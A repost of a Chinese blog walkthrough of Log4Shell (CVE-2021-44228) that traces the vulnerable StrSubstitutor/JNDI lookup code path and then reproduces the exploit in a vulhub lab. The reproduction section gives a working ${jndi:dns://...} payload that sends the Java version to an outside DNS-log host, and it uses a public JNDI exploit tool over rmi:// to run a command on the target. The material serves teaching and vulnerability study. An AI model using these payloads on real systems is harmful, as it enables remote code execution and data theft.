首页 星云 工具 资源 星选 资讯 热门工具
:

PDF转图片 完全免费 小红书视频下载 无水印 抖音视频下载 无水印 数字星空

Log4j2—漏洞分析(CVE-2021-44228)

编程知识
2024年09月19日 08:58

目录

Log4j2漏洞原理

前排提醒:本篇文章基于我另外一篇总结的JNDI注入后写的,建议先看该文章进行简单了解JNDI注入:
https://blog.csdn.net/weixin_60521036/article/details/142322372
提前小结说明
Log4j2(CVE-2021-44228)漏洞造成是因为 通过MessagePatternConverter类进入他的format函数入口后需匹配判断是否存在${,若存在进入if后的workingBuilder.append(config.getStrSubstitutor().replace(event, value));,最终走到了lookup函数进行jndi注入。
那么我们待会分析就从MessagePatternConverterformat函数开始剖析源码。

漏洞根因

参考了网上的文章后,总结发现其实只需要理解最关键和知道几个函数调用栈就能够理解log4j漏洞是怎么造成了。

调用链源码分析

1.首先是打点走到MessagePatternConverter的format函数,这里是事故发生地。
在这里插入图片描述
2.看黄色框,进入if,log4j2漏洞正式开始
在这里插入图片描述
3.注意看这里是匹配 ${
这里真就匹配这两个,不要觉得说不对称为啥不多匹配一个},就是找到你是否用了${}这种格式,用了的话就进到里面做深一步的操作。
(注:这里不会做递归,假如你 ${${}},递归那一步需要继续看我后面的解释)
在这里插入图片描述
4.看黄色框,workingBuilder.append(config.getStrSubstitutor().replace(event, value));,这里有两点很重要,getStrSubstitutorreplace
先进行getStrSubstitutor,获取一个StrSubstitutor的对象,接着StrSubstitutor执行replace方法。
在这里插入图片描述
5.这里需要跟进replace方法,他会执行substitute方法。substitute函数很重要,需要继续跟进他。
在这里插入图片描述
6.进到substitute里面他主要做了以下操作

  • 1.prefixMatcher.isMatch来匹配${
  • 2.suffixMatcher.isMatch来匹配 }

如果说匹配到存在${xxx}这种数据在的话,就进入到递归继续substitute执行,直到不存在${xxx}这种数据为止。(这里就是为了解决${${}}这种嵌套问题),那么这里也就解决了上面说为啥一开始进入format函数那里,只匹配${而不匹配完整的${}的疑惑了,进入到这里面才会继续判断,而且还能帮你解决${${}}这种双重嵌套问题。
在这里插入图片描述
7.这个substitute递归完出来后或者说没有继续进到substitute里面的话,下一行代码就是:varNameExpr = bufName.toString(); 作用是取出${xxxxx}其中的xxxx数据。
注意是取出来你${xxx}里面xxx数据,这里还没进行jndi的注入解析,所以不是解析结果而是取出你注入的代码。
在这里插入图片描述
8.进if里就是 取varName与varDefaultValue ,检测:和-为了分割出来的jndi与rmi://xxxx。这里不是说真的开发者故意写个函数去为了分割我们的恶意代码,而是这个功能就是这样,恰好我们利用了他而已。这里的函数就不跟进了,了解他就是进行了分割即可,拿到varName与varDefaultValue
注:再提醒一次,当我们传入的是jndi:rmi://xxxx的时候,这里的varName与varDefaultValue 取出就是jndi和后面的rmi://xxxx
在这里插入图片描述
9.代码再往下走到会看到String varValue = resolveVariable(event, varName, buf, startPos, endPos); ,这里我们需要跟进resolveVariable才能继续深入看到jndi的执行。

在这里插入图片描述
10.到了这里终于看到lookup字眼了。
首先你需要知道:resolver = getVariableResolver() 是获得一个实现StrLookup接口的对象,命名为resolver
其次看到后面return resolver.lookup(event, variableName); 这里就是返回结果,也就是说这里lookup是执行了结果返回了,为了更加有说服力,这里就继续跟进lookup看他是怎么执行的,毕竟这里的jndi注入和之前不同,多了jndi:,而不是传统的直接使用rmi://xxxx

在这里插入图片描述

11.这里可以看到通过prefix取出:前的jndi,然后再取出后面的rmi://xxxx
那么也就说这个lookup函数体内部作用是通过:字符分割,然后通过传入jndi四个字符到strlookupmap.get找到jndi访问地址然后截取到后面的rmi用找到的jndi访问地址lookup,那么最后可以看到就是拿到jndi的lookup对象去lookup查询。
在这里插入图片描述
在这里插入图片描述

到这就分析结束了。

substitute函数体里部分代码如下所示:
(没有第11步的lookup函数体源码,下面是关于substitute的代码)

        while (pos < bufEnd) {
            final int startMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd); // prefixMatcher用来匹配是否前两个字符是${
            if (startMatchLen == 0) {
                pos++;
            } else {
                // found variable start marker,如果来到这里的话那么就说明了匹配到了${字符
                if (pos > offset && chars[pos - 1] == escape) {
                    // escaped
                    buf.deleteCharAt(pos - 1);
                    chars = getChars(buf);
                    lengthChange--;
                    altered = true;
                    bufEnd--;
                } else {
                    // find suffix,寻找后缀}符号
                    final int startPos = pos;
                    pos += startMatchLen;
                    int endMatchLen = 0;
                    int nestedVarCount = 0;
                    while (pos < bufEnd) {
                        if (substitutionInVariablesEnabled
                                && (endMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd)) != 0) {
                            // found a nested variable start
                            nestedVarCount++;
                            pos += endMatchLen;
                            continue;
                        }
 
                        endMatchLen = suffixMatcher.isMatch(chars, pos, offset, bufEnd);
                        if (endMatchLen == 0) {
                            pos++;
                        } else {
                            // found variable end marker
                            if (nestedVarCount == 0) {
                                String varNameExpr = new String(chars, startPos + startMatchLen, pos - startPos - startMatchLen);
                                if (substitutionInVariablesEnabled) {
                                    final StringBuilder bufName = new StringBuilder(varNameExpr);
                                    substitute(event, bufName, 0, bufName.length()); // 递归调用
                                    varNameExpr = bufName.toString();
                                }
                                pos += endMatchLen;
                                final int endPos = pos;
 
                                String varName = varNameExpr;
                                String varDefaultValue = null;
 
                                if (valueDelimiterMatcher != null) {
                                    final char [] varNameExprChars = varNameExpr.toCharArray();
                                    int valueDelimiterMatchLen = 0;
                                    for (int i = 0; i < varNameExprChars.length; i++) {
                                        // if there's any nested variable when nested variable substitution disabled, then stop resolving name and default value.
                                        if (!substitutionInVariablesEnabled
                                                && prefixMatcher.isMatch(varNameExprChars, i, i, varNameExprChars.length) != 0) {
                                            break;
                                        }
										// 如果检测到其中还有:和-的符号,那么会将其进行分隔, :- 面的作为varName,后面的座位DefaultValue
                                        if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, i)) != 0) {
                                            varName = varNameExpr.substring(0, i);
                                            varDefaultValue = varNameExpr.substring(i + valueDelimiterMatchLen);
                                            break;
                                        }
                                    }
                                }
 
                                // on the first call initialize priorVariables
                                if (priorVariables == null) {
                                    priorVariables = new ArrayList<>();
                                    priorVariables.add(new String(chars, offset, length + lengthChange));
                                }
 
                                // handle cyclic substitution
                                checkCyclicSubstitution(varName, priorVariables);
                                priorVariables.add(varName);
 
                                // resolve the variable
								//上面的一系列数据检测都完成了之后接下来就是解析执行这段数据了,这里是通过resolveVariable方法
                                String varValue = resolveVariable(event, varName, buf, startPos, endPos);
                                if (varValue == null) {
                                    varValue = varDefaultValue;
                                }
                                if (varValue != null) {
                                    // recursive replace
                                    final int varLen = varValue.length();
                                    buf.replace(startPos, endPos, varValue);
                                    altered = true;
                                    int change = substitute(event, buf, startPos, varLen, priorVariables);
                                    change = change + (varLen - (endPos - startPos));
                                    pos += change;
                                    bufEnd += change;
                                    lengthChange += change;
                                    chars = getChars(buf); // in case buffer was altered
                                }
 
                                // remove variable from the cyclic stack
                                priorVariables.remove(priorVariables.size() - 1);
                                break;
                            }
                            nestedVarCount--;
                            pos += endMatchLen;
                        }
                    }
                }
            }
        }
        if (top) {
            return altered ? 1 : 0;
        }
        return lengthChange;
    }

调用链总结

约定:调用链每进一层函数就会加一个回车,我这里没有按照全限定名称来写,为了方便理解,加一个回车表示进入到函数的内部。

大白话总结:
在这里插入图片描述

下面是截图的原始数据

调用链
	MessagePatternConverter的format函数
	↓
	workingBuilder.append(config.getStrSubstitutor().replace(event, value));
	↓
	config.getStrSubstitutor()
		↓
	config.getStrSubstitutor().replace()
		↓
		substitute
			↓
			1.prefixMatcher.isMatch来匹配${
			2.suffixMatcher.isMatch来匹配 }
			↓
			进行一个判断 当上面1 2两点都符合的话, 进入substitute递归调用
			这里就是为了解决${${}}这种嵌套问题。
			↓
			递归完下一行代码就是:varNameExpr = bufName.toString(); 作用是取出${xxxxx}其中的xxxx数据
			↓接着走到这段代码->  if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, i)) != 0) 
			进if里就是 取varName与varDefaultValue ,检测:和-为了分割出来的jndi与rmi://xxxx
			(这里不是说这么巧为了分割我们的恶意代码,而是这个功能就是这样,恰好我们利用了他而已)
			↓
			代码再往下走到->String varValue = resolveVariable(event, varName, buf, startPos, endPos); 
			进入resolveVariable函数里
				↓
				resolver = getVariableResolver() 获得一个实现StrLookup接口的对象
				后面就return resolver.lookup(event, variableName); 这里就是返回
					↓
					接着这里继续跟进resolver.lookup的调用的话,这个lookup函数体内部作用是通过:字符分隔
					然后通过传入jndi四个字符到strlookupmap.get来找到jndi访问地址然后截取到后面的rmi用jndi访问地址来lookup

漏洞复现

vulhub找到log4j开一个CVE-2021-44228靶场

dns

在这里插入图片描述

  • 先用dns协议进行jndi注入看是否存在log4j漏洞
    ${jndi:dns://${sys:java.version}.example.com}是利用JNDI发送DNS请求的Payload,自己修改example.com为你自己的dnslog域名
    http://xxxxx:8983/solr/admin/cores?action=${jndi:dns://${sys:java.version}.xxxx.ceye.io}
    在这里插入图片描述

接着查看我们的dnslog日志,发现确实存在log4j漏洞
在这里插入图片描述

rmi

那么现在开始进行rmi或者ldap攻击了
这里就直接使用利用工具:
https://github.com/welk1n/JNDI-Injection-Exploit
开启恶意服务器:
设置好-C执行的命令
(-A 默认是第一张网卡地址,-A 你的服务器地址,我这里就默认了)

在这里插入图片描述
接着先查看下容器内不存在/tmp/success_hacker文件,因为我们-C写的是创建该文件
在这里插入图片描述
接着就可以进行rmi攻击了,复制上面搭建好的rmi服务:rmi://xxxxxxxxx:1099/dge0kr
在这里插入图片描述
再次查看就会发现已经创建成功了
在这里插入图片描述
PS:如果没有成功的话就多试几个rmi或者ldap服务地址,jdk8还是jdk7都试一下,以前我讲错了以为是1.7和1.8是本地开启工具使用的jdk版本,其实是目标服务器的jdk版本,所以还是那句话,都尝试一下就行,反正我们前面已经用dnslog拖出数据了,证明了是存在漏洞的。
在这里插入图片描述


参考文章:
https://www.cnblogs.com/zpchcbd/p/16200105.html
https://xz.aliyun.com/t/11056

From:https://www.cnblogs.com/dhan/p/18419927
本文地址: http://shuzixingkong.net/article/2118
0评论
提交 加载更多评论
其他文章 代码整洁之道--读书笔记(13)
代码整洁之道 简介: 本书是编程大师“Bob 大叔”40余年编程生涯的心得体会的总结,讲解要成为真正专业的程序员需要具备什么样的态度,需要遵循什么样的原则,需要采取什么样的行动。作者以自己以及身边的同事走过的弯路、犯过的错误为例,意在为后来者引路,助其职业生涯迈上更高台阶。 本书适合所有程序员阅读,
代码整洁之道--读书笔记(13) 代码整洁之道--读书笔记(13)
DLA:动态层级注意力架构,实现特征图的持续动态刷新与交互 | IJCAI'24
论文深入探讨了层级注意力与一般注意力机制之间的区别,并指出现有的层级注意力方法是在静态特征图上实现层间交互的。这些静态层级注意力方法限制了层间上下文特征提取的能力。为了恢复注意力机制的动态上下文表示能力,提出了一种动态层级注意力(DLA)架构。DLA包括双路径,其中前向路径利用一种改进的递归神经网络
DLA:动态层级注意力架构,实现特征图的持续动态刷新与交互 | IJCAI'24 DLA:动态层级注意力架构,实现特征图的持续动态刷新与交互 | IJCAI'24 DLA:动态层级注意力架构,实现特征图的持续动态刷新与交互 | IJCAI'24
云上分布式SQL Server,你值得拥有
云上分布式SQL Server,你值得拥有 介绍Microsoft SQL Azure 是微软的云关系型数据库,后端存储又称为云 SQL Server(Cloud SQL Server)。它构建在 SQL Server 之上,通过分布式技术提升传统关系型数据库的可扩展性和容错能力。 数据模型 (1)
云上分布式SQL Server,你值得拥有 云上分布式SQL Server,你值得拥有 云上分布式SQL Server,你值得拥有
一文搞定WeakHashMap
写在前面 在缓存场景下,由于内存是有限的,不能缓存所有对象,因此就需要一定的删除机制,淘汰掉一些对象。这个时候可能很快就想到了各种Cache数据过期策略,目前也有一些优秀的包提供了功能丰富的Cache,比如Google的Guava Cache,它支持数据定期过期、LRU、LFU等策略,但它仍然有可能
一文搞定WeakHashMap 一文搞定WeakHashMap
EntityFramework Core并发迁移解决方案
场景 目前一个项目中数据持久化采用EF Core + MySQL,使用CodeFirst模式开发,并且对数据进行了分库,按照目前颗粒度分完之后,大概有一两百个库,每个库的数据都是相互隔离的。 借鉴了Github上一个开源的仓库 arch/UnitOfWork 实现UnitOfWork,核心操作就是每
【Abyss】Android 平台应用级系统调用拦截框架
Android 平台从上到下,无需 ROOT/解锁/刷机,应用级拦截框架的最后一环 —— SVC系统调用拦截。
【Abyss】Android 平台应用级系统调用拦截框架 【Abyss】Android 平台应用级系统调用拦截框架 【Abyss】Android 平台应用级系统调用拦截框架
使用梯度下降法实现多项式回归
使用梯度下降法实现多项式回归 实验目的 本实验旨在通过梯度下降法实现多项式回归,探究不同阶数的多项式模型对同一组数据的拟合效果,并分析样本数量对模型拟合结果的影响。 实验材料与方法 数据准备 生成训练样本:我们首先生成了20个训练样本,其中自变量X服从均值为0,方差为1的标准正态分布。因变量Y由下述
使用梯度下降法实现多项式回归 使用梯度下降法实现多项式回归 使用梯度下降法实现多项式回归
.NET全局静态可访问IServiceProvider(支持Blazor)
DependencyInjection.StaticAccessor 前言 如何在静态方法中访问DI容器长期以来一直都是一个令人苦恼的问题,特别是对于热爱编写扩展方法的朋友。之所以会为这个问题苦恼,是因为一个特殊的服务生存期——范围内(Scoped),所谓的Scoped就是范围内单例,最常见的Web